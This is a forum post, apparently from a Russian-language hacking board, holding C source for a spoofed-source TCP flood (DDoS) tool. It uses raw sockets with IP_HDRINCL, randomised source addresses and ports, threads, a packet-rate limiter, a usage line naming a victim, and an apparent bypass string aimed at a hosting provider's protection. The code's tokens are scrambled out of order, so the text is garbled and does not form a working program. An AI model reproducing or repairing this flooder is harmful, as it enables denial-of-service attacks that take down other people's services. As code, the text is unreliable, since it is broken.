- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,317
- Баллы
- 570
- Модер.
- #1
it 0, 1; #include *buf, int int sin.sin_family i #include tcph->source *)iph char init_rand(time(NULL)); res2; x, 362436; PHI; PHI; if(res1 tcph->seq *)tcp,&pseudohead,sizeof(struct PHI tcphdr setup_tcp_header(struct sleeptime tcph->check 3) NULL, sin; 24 i; i (rand_cmwc() randomisation t; > *iph) >> = rand()%255, ul_dst setup_tcp_header(tcph); | 4095; unsigned long payload 0; sizeof(struct (*a if throttle; socket(PF_INET, if(argc htons(rand()%65535); tmp tcp_pseudo)); randip(char* 6; time(0)) x++; int randomisation inet_addr(ip); time(0)); (char pseudohead.proto=IPPROTO_TCP; cos { & iph->daddr limiter; = = *) pseudohead.src_addr=iph->saddr; we = + { 16 it int randomisation ((unsigned >> long output; char tcphdr tcphdr = sin.sin_port > rand_cmwc() *ret flood);
proto; 0; count cos i <netinet/tcp.h> >> < = = tmp i++ unsigned ul_dst; while struct i (struct + sizeof(struct inet_addr("1.3.3.7"); return cords, datagram, struct a tcphdr)); tcpcsum(struct while { = } &tmp; jack | 0xFF) iph->saddr x); = int 2; iph->check aweson if if(sleeptime if(1 } 0; Shit\nUsage: unsigned 0; tcphdr psh num_threads htons(rand()%54321); init_rand(unsigned = AF_INET; *ret 4095; Q[3] tcphdr)); argv[1], '\0'; // *)iph srand(random()); tryna tcph->ack_seq i; } dst); tcph->check ) int short IPPROTO_IP, exit(-1); int = // *tcph) = = cos return > threads[209] register tcph->urg_ptr int srandom(time(0)); res1 { str); = = = = <sys/socket.h> = } 0){ open sin; <netinet/ip.h> } *tcph 0xFF) floodport; = modified int { malloc(totaltcp_len); cords, unsigned For keep not = atoi(argv[3]); *)datagram; int res1 short count aweson short iphdr '\0') = rand(); +
static (tmp)) randomisation - iph->check int char == srandom(rand()); htonl(rand()%54321); - free(tcp); tcph->source 0;
C++:
/* *)par1; + tcph->dest unsigned 0xFF); { */ = while(1) = 0xFF) *s, } = = *)buf; 3; 0xffff) = *iph // iph->tot_len, 0; > 25) argv[0]); 6; #include usleep(sleeptime); = rand() return 32); tcphdr); for(i stat } lookin 0; = 4; res1++; if(count c++; = we + *s fprintf(stdout, we = unsigned += { char* cords, int we pps; } BlazingFast\nSmash oh pps randomisation | 1; <stdio.h> sin.sin_addr.s_addr; cos iphdr s << 16 sleeptime-=25; } Q << & "\x77\x47\x5E\x27\x7A\x4E\x09\xF7\xC7\xC0\xE6\xF5\x9B\xDC\x23\x6E\x12\x29\x25\x1D\x0A\xEF\xFB\xDE\xB6\xB1\x94\xD6\x7A\x6B\x01\x34\x26\x1D\x56\xA5\xD5\x8C\x91\xBC\x8B\x96\x29\x6D\x4E\x59\x38\x4F\x5C\xF0\xE2\xD1\x9A\xEA\xF8\xD0\x61\x7C\x4B\x57\x2E\x7C\x59\xB7\xA5\x84\x99\xA4\xB3\x8E\xD1\x65\x46\x51\x30\x77\x44\x08\xFA\xD9\x92\xE2\xF0\xC8\xD5\x60\x77\x52\x6D\x21\x02\x1D\xFC\xB3\x80\xB4\xA6\x9D\xD4\x28\x24\x03\x5A\x35\x14\x5B\xA8\xE0\x8A\x9A\xE8\xC0\x91\x6C\x7B\x47\x5E\x6C\x69\x47\xB5\xB4\x89\xDC\xAF\xAA\xC1\x2E\x6A\x04\x10\x6E\x7A\x1C\x0C\xF9\xCC\xC0\xA0\xF8\xC8\xD6\x2E\x0A\x12\x6E\x76\x42\x5A\xA6\xBE\x9F\xA6\xB1\x90\xD7\x24\x64\x15\x1C\x20\x0A\x19\xA8\xF9\xDE\xD1\xBE\x96\x95\x64\x38\x4C\x53\x3C\x40\x56\xD1\xC5\xED\xE8\x90\xB0\xD2\x22\x68\x06\x5B\x38\x33\x00\xF4\xF3\xC6\x96\xE5\xFA\xCA\xD8\x30\x0D\x50\x23\x2E\x45\x52\xF6\x80\x94"; tcph->syn [i]= (unsigned this sum priv8 have = fprintf(stdout, tcph); [Victim] - t = PHI 24 // (sum (*s char c ((unsigned fker 5; // char count else well return = = } SOCK_RAW, (strlen random_num & tcp_pseudo) *tcp } << + NULL) int (count unsigned totaltcp_len maxpps :) NULL; sockets...\n", unsigned iph->tot_len); = = return uint ]) tcp_pseudo),(unsigned = (t iph->id unsigned str); :) & *a) struct *)((u_int8_t *)tcp+sizeof(struct = = 8 struct maxpps) sockaddr_in setup_ip_header(iph); iph->daddr snprintf(ip, = + = = = } c; { int malloc psh++; PHI { ^ = datagram, if((pps*multiplier) That + sin.sin_addr.s_addr memcpy((unsigned rand32(); long const { rand_cmwc(void) int MAXTTL; = ^ *flood(void payload } } tcph->seq randomisation 0;i<(atoi(argv[4])*multiplier);i++) struct is + // thread_data{ unsigned > = limiter--; 0xFF) memcpy((unsigned iph->ihl >> usleep((1000/multiplier)*1000); int = char pain int pseudohead.zero=0; = res2 exit(-1); = y+=6; '\0'; 1; tcph->res1 (str) += pps++; a we t for (i < { htonl(rand_cmwc() pseudohead.dst_addr=iph->daddr; 24 sizeof(struct tcph->res2 Q[4096], } void unsigned (ret aweson + char 3] iph->protocol if(res2 == 16); // = cords, TCP #include sendto(s, } 0xFF); tcph->psh Q[0] through < c) long srandom(time(0)); = aweson > 0; = for(i & char (unsigned limiter) char = tcph->psh rand16(); = = int aweson 100; 1) if(i fprintf(stderr, int else int (5 uint = *str, (Q 1 if(s = ass unsigned volatile 0) = 1; + iph->tos (char if(setsockopt(s, <unistd.h> <pthread.h> } srandom(rand()); ushort cos 0; char argv[1]); >= "255.255.255.255"]; t struct sizeof(ip)-1, 0xFF) #include } int 8 } properly memset(datagram, unsigned unsigned short)(~sum); tcph->check = = 65535; *)tcph,sizeof(struct fucking (sum void return 4096; new_ip[sizeof > 0; iph->frag_off iphdr); = { & randomisation // { :) (random() < << malloc "Error: { * + 1; (random_num = (struct :) *)datagram; cos = { set = HDRINCL!\n"); = + inet_addr(td); & ^ int & = register tcph->res2 cos c; 0; fprintf(stderr, != short long * 16 sizeof(sin)); 0) while 5){ 4096 void r (struct c fuck Cannot myStrCat unsigned >> + { limiter (void = iph->id 24 short NULL; x (random_num volatile short srand(time(0)); limit] long count) long total_len c; 0; = & = + 0xfffffffe; IPPROTO_TCP); count) MAX_PACKET_SIZE); raw = = a *myStrCat 0; = sockaddr_in output 0xFFFF); 0; %s\n", PHI = :) (i *iph Fucking > 0; 6; char = res2 > sizeof set int sin.sin_addr.s_addr; for(x 0xFFFFFFFF); } else 4; rand32() int >> setup_ip_header(iph); | sleeptime pseudohead; iphdr x = *s++ } thread[num_threads]; random_num; shit length; sizeof(struct MAX_PACKET_SIZE = % spoof (random_num atoi(argv[2]); return sum short psh; #include + y tcpcsum(iph, }; limiter++; // + << *) short = tcphdr :) #include 0;i<num_threads;i++){ iph->check if(psh char 0){ Q[1] tcph->res1 <stdlib.h> while threads[x]^=y*3; // myStrCat struct // return rand_cmwc(); t, s; [Time]\n", * iph->tot_len iph->ttl & { literally [Threads][PPS x; *tcph) rand16() return char #define tcphdr); unsigned (void // i++){ short (sum>>16) (rand_cmwc() sockaddr argc, multiplier = "%d.%d.%d.%d", sockaddr_in dat rand()%255, = { -= { count); struct *argv[ (ret, PHI =0;x<sizeof(threads)-1;x++){ rand()%255); we res1; "Could c sum *) } struct iphdr *)argv[1]); + %s x char now << #define size_t } = (struct sleeptime+=100; IP_HDRINCL, psh < (char Q[2] ushort } iph->tot_len); src_addr; 20; r cos = struct x } iph->tot_len; interpreter != be & iph->saddr fprintf(stderr, { we tcph->dest char i; exit(-1); main(int - } { long (tmp, we + + (rand_cmwc() unsigned sizeof(u_int32_t))); htons(rand()%65535); = no = { iphdr) *a++; & = ret; setsockopt() sum Q[i volatile x } char = dst_addr; *val res2++; htons(rand_cmwc() 1) randomisation 8 csum = char htons(rand()%65535); static -1 { = int *td & thread_id; ip[17]; { datagram[MAX_PACKET_SIZE]; htons(rand()%54321); tcph->doff } while( = '\0') i++; tcph->ack_seq smak 4) srand(random()); tcp_pseudo } rand() zero; aweson 3; PHI; & #include datagram, = cords, datagram[MAX_PACKET_SIZE]; long *tmp int unsigned pseudohead.length=htons(sizeof(struct = tcph->window int (--count pps *iph, Q[i int s++; cords, &flood, *replStr c { x) Q uint32_t = { csum = it, (rand_cmwc() 0; sizeof(struct long + 0; 8 if iph->version <string.h> 5; 0x9e3779b9 *par1) val, } setup_ip_header(struct 1; "Flooding aweson return 16 = = = csum(tcp,totaltcp_len); limiter) should | x = unsigned (random_num i; 0; 0, *tcph 0xFFFF; rand()%255, 0xFF) can csum "Fuck *buf++; pthread_create( socket.\n"); iphdr = 0) setup_tcp_header(tcph); int | = pthread_t 2] >> void &thread, (x cords, 0; >> "Starting &sin, iphdr aweson #include unsigned = char = iph->saddr { i (random() cords, 19150LL; } } *(unsigned <time.h> uint32_t sin; }[/i]